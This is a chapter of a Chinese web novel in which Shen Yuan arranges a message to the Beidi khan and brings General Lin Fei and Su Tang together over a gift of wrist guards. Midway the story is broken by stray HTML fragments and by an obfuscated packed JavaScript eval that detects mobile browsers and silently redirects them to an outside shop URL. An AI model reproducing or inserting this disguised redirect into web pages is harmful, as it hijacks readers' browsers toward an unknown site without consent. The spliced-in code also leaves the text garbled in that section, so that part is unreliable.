一路顺遂,他们穿过碎叶谷,返回边陲镇。
回望夕阳下的漫天黄沙,沈鸢神色动容,颇有感慨。曾经九死一生的传说在他们眼里已经不存在,她心里盘算完毕,对萧珩说:“我去找北狄那位可汗,至于你……”
“我那位大哥,不是什么好说服之人,但他既然是巡边钦使,我怎么都要向跟他打声招呼。”
“若他不肯呢?”
“试试呗。”
沈鸢半信半疑,陪他到了大皇子萧瑞下榻之地。萧珩出示令牌,有人带着他上楼。
她留在外面,一来是不想看见楼上那一位,二来是她还有事。
太阳已落山,边陲镇南门一派热闹气象。
此地集市七天一轮,如今又是开放的日子。
沈鸢熟门熟路走在路上,看到了几张老面孔。可不就是先前将自己带走的那几个北狄兵?
他们踩着军靴,大爷似的在集市摊前穿行,似乎是在寻找下一个目标,好再次诬陷一番,挑起纷争。
见沈鸢出现在面前,那几人明显愣了一下,脸色变得难看。
这张脸如此生动别致,他们不会不记得。只是早就听说这女人被带去军营之后就见到了可汗,还被放走,如今怎么又来了?
难不成是回来寻仇的?
沈鸢笑容可掬,手里把玩着弩箭:“放心,我不打人。”
那几人面面相觑,忽然转头就跑。一个往东一个往西,还有个向中间跑着。
“一,二,三。”沈鸢心中数定,轻飘飘朝着其中一个方向飞去。
“我都让了你三息,你还是跑不过我,那就没办法了。”
短剑稳稳架在那人脖子上,她早就看出来了,这几个北狄兵里,就数他资格最老。
“女侠饶命!”那人双腿打颤,眼泪鼻涕都快出来了。
听得这声叽里呱啦的北狄语,沈鸢才明白过来,原来她刚才说的话,那些人压根没听懂。
简直了,鸡同鸭讲。
叹了口气,她借来纸笔。
画了圈,象征性描了歪歪扭扭的水纹,边上一圈高高的山峰,最上面还有个月亮。
那小兵看得眼珠子都快瞪出来了:“……月照泉?”
沈鸢点头,对自己的画技感到很满意。
反正这人能看懂嘛。
张了张嘴,她试着发出了“可汗”两字的音节,之前在北狄军营听人说过几次,心里有点数。
那人一惊:“你要见可汗?”
沈鸢指指自己的画,叫他拿着去找可汗。
他摇头:“不成,可汗已不在军营,我报不了信。再说了,他不可能见你。”
她看出了对方的不情愿,又取了张纸。
这次画了个人像,还特地在眼角下描个颗泪痣,点成红色。
至于画中人是她自己,还是德英,就让那位可汗去猜吧。
两张画同时塞进那个小兵手里,他瞪着茫然眼神犹在摇头。
直到低头再次看向这些画,盯着月照泉上的波纹,他浑身一震:“月照泉有水了?”
沈鸢终于露出笑,孺子可教也。
不枉费她辛辛苦苦画了两张画,多不容易。
那人紧紧捏着画纸,跑得飞快。
“我去找人!一定将事情禀报至可汗!”
沈鸢放心了,抱着胳膊回身走着。
路过某个地方时,脚步忽然顿住。
还是那个射箭摊子,老板一脸紧张地看着摊前拉弓的年轻男人。
她不由起了兴致,站在边上看。
那男人一身藏青衣衫,身板笔挺,英姿勃发。射箭的手势行云流水,一看就是用惯了的。
沈鸢在心里替老板悲哀,又是白送竹蜻蜓的一天。
果然,长箭离弦,稳稳插在靶心。
老板叹气:“林将军,差不多得了。”
“你说之前有个姑娘射中十二次靶心,我也来试试。”
沈鸢捂着嘴笑。
原来这人就是林非。
从苏棠嘴里听过无数次这人的名字,今天头一回见,久仰久仰。
笑声同时传到了林非和老板耳里。
老板眼前一亮:“姑娘!”
旋即脸就垮了。来了一个,又来了一个,他这小摊小贩的实在供不起啊……
林非打量沈鸢:“你就是射中十二次靶心之人?等等,我是不是在哪里见过你?”
“我是苏棠朋友,也是七皇子的朋友。”
“我知道了,我在七殿下房间里见过你。”
“……”沈鸢脸一红。倒也不必说得如此具体。
“放心吧老板,今天不射箭,我还有事赶着回去吧。”她笑着向老板挥手。
“姑娘去哪里?可是回下榻客栈?”
“是啊,将军要一道坐坐吗?我请你喝茶。不过话说回来,将军今日怎么有空,也来了这里?”
林非迟疑了下:“那位七殿下,也在客栈?”
“这会儿不在,但估摸着也快回来了。”
“那我就小坐片刻,在他来之前就走。”
“怎么?”沈鸢不解,心说萧珩哪里又得罪他了?
“我见了那人,就想起他那位大哥,总之他们姓萧的,我暂时都不想见。”
沈鸢乐了,这人讲话还真耿直,她今日可算是领教了。
“你说的是大皇子?发生了何事?”
“说来话长,大殿下既是巡边钦使,不住军营,住镇里,这传出去本就叫人笑话。如今他又说有些军营的事情要问我,我特地赶来,结果却被他手下人拦住,说是殿下仍在休憩,叫我等着。我闲来无事,只能在这里逛着,只待那位殿下醒了,再过去。”
沈鸢心里一沉,想起自己目送萧珩上楼的那一幕。
莫非是运气好,碰上大皇子刚醒了?
那这位林将军的运气,恐怕还真的差了点。
她点头:“如你所说,此事确实不妥。不过七殿下对将军印象很好,一直在我面前夸将军你呢。”
“七殿下他……姑娘既然是他朋友,不知你对他怎么看?”
“他这一生,或许有很多不得已,但他一直在抗争。林将军若是愿意再等等,便会发现他能给你足够的惊喜。”她知道林非对萧珩观感不佳,但既然问了这话,可见他心中在犹豫什么。
未将话说得太明白,但她想林非多少能懂一些。
果然他脚步顿了一刻,喃喃:“我拭目以待。”
客栈还没有萧珩身影。
但苏棠的脑袋从房门探出来,老远唤道:“沈姑娘!”
她知道沈鸢萧珩这趟出门是为了极凶险的事,心惊胆战等了好几天,终于看见了人影,结果刚从自己房间兴冲冲跑出来,一看沈鸢身后的人:“是你?”
怎么来的是这个姓林的?
沈鸢解释:“萧公子去了别处,他还有些事情,晚点再来。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740273|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“你俩没事就好。”目光转向林非,苏棠问,“你来做什么?”
“怎么?这家客栈是你开的?我来还要提前禀报你?”
眼见苏棠眉头一挑,就要和林非吵起来,沈鸢赶紧拉住。
“林将军过来坐坐,一会儿就走。”
苏棠白了那人一眼,别过了头,却听林非冷冷道:“你在正好,我有东西要还你。”
他拿出了一对护腕,苏棠脸色变了。
“这是你送的吧?偷偷溜到军营,叫人传递进来的,不知道的还以为来了个小偷呢。”
“谁是小偷?哪个小偷上赶着送东西的?”
“看来还真是你,我双手奉还,还请姑娘收回。”
“你!你为何不收?”
“不收百姓一针一线,这是我军中规矩。总之,我将东西放在这里了。”林非见苏棠不接,索性将护腕丢在桌上。
苏棠眼眶都红了。
沈鸢看明白了,先前苏棠犹豫着要不要感谢林非,想来是暗地送了护腕。结果这人当面退了回来,弄得怪尴尬的。
她将护腕拿了起来。皮质的,触感光滑,泛着铜色的光泽。上面的针脚不算平整,但看得出来极为用心,还有拆开重做的痕迹。
“苏姑娘,我记得你并不会针线活,莫不是刚学的?有机会也教教我呗。”
“是啊,特地缝丑一点,跟某些人一样丑。你放心,待我学好了,就来教你。”
“若是这护腕没人要了,不如借我用用?”沈鸢装模作样戴在自己手上,“哎呀,怎么大了这么多?我似乎带不了呢。”
“做大了些,姑娘家自然是用不上的。”
沈鸢笑吟吟地看林非:“林将军,看来这里只有你能用了。若是丢了就浪费了,你们军中有没有一条规矩,是说浪费可耻呀?”
“……自然是有的。”
“那不就成了?来,试试看大小如何,万一合适呢?”
林非不情愿地将护腕戴上,不得不说,就跟定制似的。
苏棠没好气地说:“我七岁开始骑马跑码头,护腕大小好坏一眼就能看出来,能出错吗?”
“林将军,既然是苏姑娘特地做的,不如就收了?”沈鸢掩嘴笑着,“反正这里不是军营,你说的不收百姓一针一线,道理是对的,可惜在这里用不上。你们朋友相交,怎么能一样呢?”
“谁要跟他当朋友!”
林非耳廓红了,避开苏棠的瞪眼:“我不知道这是你亲手做的,方才说话重了些。可是话说回来,你送就送,为何要偷偷叫人递进来?真像做贼似的。”
“谁做贼了,怎么又说我做贼!谁叫你说话凶神恶煞的,哪个敢当面见你啊!”
林非被说得哑口无言,忽然深深一个抱拳:“是在下唐突了,姑娘莫怪。”
这人突然变得这么文绉绉,倒把苏棠吓了一跳。
“你还是说话正常些吧,你这个样子我反而更怕了。”
沈鸢笑得直不起身。
这两人不打不相识,现在好了,再也不必替他们操心了。
萧珩的脚步声从外响起,沈鸢耳尖,一下子开了门。
“你回来了?如何?”
她心里还真挺好奇,这人真能说服他大哥?向朝廷上书,重启寒关道?恢复两邦商贸往来?
萧珩没说话,看了她一眼,目光转到了屋内的另一人身上。
“林将军也在?正好,我有事找你。”